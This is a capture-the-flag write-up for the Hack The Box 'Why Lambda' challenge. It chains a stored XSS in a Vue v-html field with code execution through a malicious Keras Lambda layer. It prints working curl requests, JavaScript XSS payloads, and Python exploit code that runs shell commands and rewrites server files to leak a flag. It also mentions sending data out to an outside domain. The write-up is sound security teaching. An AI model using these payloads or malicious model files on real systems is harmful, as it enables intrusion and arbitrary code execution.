This is a walkthrough of the Why Lambda Hack The Box challenge. The challenge is rated as Hard, and is an example of chaining multiple vulnerabilities to hack a web application.
Tools
No special tools were used in this walkthrough.
Getting Started
For this challenge we are provided a server IP address and port to browse with our web client as well as set a files to download in order review the source files and also set up a local version of the web application. The download package has a Dockerfile for us to use to easily set up and run a Docker container.
Under the /app/backend directory, we see a number of python files using Flask as the framework. Under the /app/frontend directory, we a number of source files including several .vue files which suggests the site is using Vue as the JavaScript framework. I don’t a lot about Vue, but reviewing their security documentation provides us with a few things to look for. Particularly in the HTML Injection section, which describes the risks of using the “v-html” directive since it explicitly renders HTML content. This could provide an XSS vulnerability. Searching through the application source code, we find that there is a v-html directive in the ImageBanner.vue
:
<template>
<div class="banner">
<div class="image-container">
<img :src="image" class="image">
</div>
<div class="text-container">
<h2 class="banner-title">{{ title }}</h2>
<span class="text" v-html="textContent"></span>
</div>
</div>
</template>
.
.
.
This looks promising, so looking at where ImageBanner is used we find that there are a couple of places, but the one in Dashboard.vue
is interesting since the content of the “textContent
” field is something we can control:
<template>
<Block :title="title" :description="description">
<template v-slot:content>
<Login @success="showDashboard()" v-if="!loggedIn"/>
<div v-else>
<div class="upload">
<h1 class="upload-title">Upload and test a new version of the model</h1>
<input type="file" ref="file"/>
<SpaceButton :title="'Submit'" @spaceClick="submitModel()"></SpaceButton>
<p v-if="uploadText">{{ uploadText }}</p>
</div>
<br/>
<div v-if="complaints.length < 1">
<h2>No complaints!</h2>
</div>
<template v-else v-for="(c, key) in complaints" :key="key">
<ImageBanner :title="c.description" :image="c.image_data" :textContent="getPredictionText(c)"></ImageBanner>
</template>
</div>
</template>
</Block>
</template>
.
.
.
The XSS
Ok, since we have a local copy of the application running, let’s try to exploit this XSS vulnerability locally. This is a stored XSS so we first need to provide the payload to the server for it to store:
# curl -v -H "Content-Type: application/json" -H "X-SPACE-NO-CSRF: 1" \
> --request POST \
> --data "{\"description\":\"hello\",\"image_data\":\"xxx\",\"prediction\":\"<img src=\\\"x\\\" onerror=\\\"alert(1);\\\"/>\"}" \
> http://127.0.0.1:1337/api/complaint
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 127.0.0.1:1337...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 1337 (#0)
> POST /api/complaint HTTP/1.1
> Host: 127.0.0.1:1337
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Type: application/json
> X-SPACE-NO-CSRF: 1
> Content-Length: 96
>
* upload completely sent off: 96 out of 96 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 204 NO CONTENT
< Server: nginx/1.18.0 (Ubuntu)
< Date: Fri, 23 Aug 2024 17:42:57 GMT
< Content-Type: application/json
< Connection: keep-alive
<
* Connection #0 to host 127.0.0.1 left intact
Now let’s check to confirm that the payload was stored on the server:
# cat /app/backend/complaints/3f8ac4f4-4183-42b7-b28f-f34f70fe31a3.json
{"description": "hello", "image_data": "xxx", "prediction": "<img src=\"x\" onerror=\"alert(1);\"/>"}
Looks good so far. Now, since we have admin access to the local web application, let’s see if the the exploit works:
Ok, so we’ve got a valid stored XSS exploit that will trigger when an admin views the /dashboard page. And we see that there is code in the backend application in complaints.py
which creates a bot to view the /dashboard page as admin:
.
.
.
def check_complaints(username, password):
options = Options()
options.add_argument('--headless')
options.add_argument('--no-sandbox')
browser = webdriver.Chrome(options=options)
browser.get("http://127.0.0.1:1337/dashboard")
browser.find_element(By.NAME, "username").send_keys(username)
browser.find_element(By.NAME, "password").send_keys(password)
browser.find_element(By.CLASS_NAME, "button-container").click()
time.sleep(10)
browser.quit()
Conveniently, this code gets called when a new complaint gets added. But we can’t do much with this exploit on it’s own, so we’ll need to keep looking to see if we can get access to the local system to get the “flag.txt
” file located in the /app directory.
The core of the web application uses the TensorFlow machine learning platform. Looking at the security documentation for TensorFlow, it states that “Since models are practically programs that TensorFlow executes, using untrusted models or graphs is equivalent to running untrusted code.” And this blog post does a good job of outlining what we need to do to create a RCE. We’ll use that to create our proof of concept.
The RCE
Ok, so let’s see if we can create our own RCE on the local copy of the application. I just modified the source code of the local application to create the exploit model for testing purposes. This was done by modifying the model.py
code by adding a new function “exploit
” and modifying the “predict
” function to save the exploit model:
def exploit(x):
import os
os.system("touch /tmp/pwned")
return x
def predict(image_data):
model = keras.Sequential()
model.add(keras.layers.Input(shape=(64,)))
model.add(keras.layers.Lambda(exploit))
model.compile()
model.save("models/exploit.h5")
# What's the point anyway?
return random.randrange(0, 9)
So, if we go to the local web application and click the “predict” button it should create our new model file called “exploit.h5
” containing the test code.
Now we verify that a new model was created called “exploit.h5
“
# ls -l /app/backend/models/
total 7900
-rw-r--r-- 1 root root 9952 Aug 23 18:18 exploit.h5
-rw-r--r-- 1 root root 8074448 Oct 6 2023 main.h5
And that the code that we injected was actually executed:
# ls -l /tmp/pwned
-rw-r--r-- 1 root root 0 Aug 23 18:18 /tmp/pwned
So far, so good.
Putting It All Together
Ok, so we have the pieces we need to capture the flag on this system, so let’s do it.
Our attack will involve sending our RCE exploit to the server using the XSS exploit. Let’s take it step by step:
1. Build the RCE
First let’s prepare the exploit model to do something more meaningful. Since the RCE allows us access to the server system, we have a lot of freedom here. Just for fun, let’s code it to put the contents of the flag into the HTML sent to the user. We’ll do that with this code:
def exploit(x):
with open('/app/flag.txt', 'r') as f:
flag = f.readline().strip()
with open('/app/frontend/src/router/index.js', 'r') as f:
lines = f.readlines()
lines = [line.replace(' - Index',' - ' + flag) for line in lines]
with open('/app/frontend/src/router/index.js', 'w') as f:
f.writelines(lines)
return x
def predict(image_data):
model = keras.Sequential()
model.add(keras.layers.Input(shape=(64,)))
model.add(keras.layers.Lambda(exploit))
model.compile()
model.save("models/exploit.h5")
# What's the point anyway?
return random.randrange(0, 9)
Breaking down the exploit
function: we are simply replacing the “Index” label in index.js
with the contents of the file flag.txt
. That way, we can just browse to site’s homepage and it should show the contents of the flag in the window header.
2. Prepare the RCE
After we generate the new exploit.h5 based on our new code, we need to prepare it for transport in HTML and storage in a JSON. Since exploit.h5
is a binary, we can encode into base 64 for this as follows:
# base64 -w 0 /app/backend/models/exploit.h5 > exploit.h5.base64
3. Use the XSS to Exploit the RCE
The final step is to send a /complaint request with an XSS payload to put our RCE model onto the server:
# curl -v -H "Content-Type: application/json" -H "X-SPACE-NO-CSRF: 1" \
> --request POST \
> --data "{\"description\":\"hello\",\"image_data\":\"xxx\",\"prediction\":\"<img src=\\\"x\\\" onerror=\\\"bin = atob('$(cat ./exploit.h5.bas64)'); u = Uint8Array.from(bin,m => m.codePointAt(0)); b = new Blob([u],{type:'application/octet-stream'}); f = new FormData(); f.append('file',b,'exploit.h5'); xhr = new XMLHttpRequest(); xhr.open('POST', 'http://127.0.0.1:1337/api/internal/model'); xhr.setRequestHeader('X-SPACE-NO-CSRF','1'); xhr.send(f);\\\"/>\"}" \
> http://127.0.0.1:1337/api/complaint
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 127.0.0.1:1337...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 1337 (#0)
> POST /api/complaint HTTP/1.1
> Host: 127.0.0.1:1337
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Type: application/json
> X-SPACE-NO-CSRF: 1
> Content-Length: 13672
> Expect: 100-continue
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 100 Continue
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 204 NO CONTENT
< Server: nginx/1.18.0 (Ubuntu)
< Date: Fri, 23 Aug 2024 21:45:30 GMT
< Content-Type: application/json
< Connection: keep-alive
<
* Connection #0 to host 127.0.0.1 left intact
Breaking down the XSS payload: first we are decoding the base 64 back to binary then creating a new request to /api/internal/model, passing the binary in the form request to upload it to the server. This will cause the application to load the module and therefore run the RCE payload.
Now, if we browse to the application home (may need to reload the page to make sure we get the updated version) we’ll see the flag in the window head:
To solve the application on the “production” server, simply change the destination URL in curl to the correct one provided in HtB.
Note: There is another vulnerability that allows download of files from a specific directory on the server which we could use to help capture the flag, but it’s not strictly necessary for this challenge. For information, this vulnerability lives in the
app.py
file here:@app.route("/api/internal/models/<path:path>") @authenticated def serve_models(path): return send_from_directory("models", path)
To exploit this we would need to have a logged in user request the /api/internal/models/<filename> to get the file. The application restricts the directory that you can request the file from, but does not restrict the type of file.
An alternative solution to this challenge would be to use the RCE to copy the
flag.txt
file to the /app/backend/models/ directory and then use the XSS to request the file then make an external request to a domain you control with the flag contents in the URL to leak that information.